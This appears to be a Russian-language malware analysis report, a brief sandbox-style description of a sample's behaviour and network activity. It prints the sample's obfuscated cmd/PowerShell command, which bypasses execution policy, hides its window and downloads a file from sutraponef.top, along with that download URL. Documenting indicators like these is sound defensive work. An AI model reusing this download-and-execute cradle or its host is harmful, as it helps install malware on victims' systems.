Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://sutraponef.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "po^wershe^ll.eXE^ -^e^Xe^cUTI^oN^POLiCy ^b^Yp^Ass -n^oPROf^IL^E ^-WiND^o^WS^t^YLe hI^ddE^N (ne^w-O^bjE^c^T SyST^em.^NE^t^.w^e^bC^lIeNT).d^OWnLO^A^dFIL^e('http://sutraponef.top/r...
Сетевая активность
UDP
- DNS ASK su###ponef.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "po^wershe^ll.eXE^ -^e^Xe^cUTI^oN^POLiCy ^b^Yp^Ass -n^oPROf^IL^E ^-WiND^o^WS^t^YLe hI^ddE^N (ne^w-O^bjE^c^T SyST^em.^NE^t^.w^e^bC^lIeNT).d^OWnLO^A^dFIL^e('http://sutraponef.top/r...' (со скрытым окном)
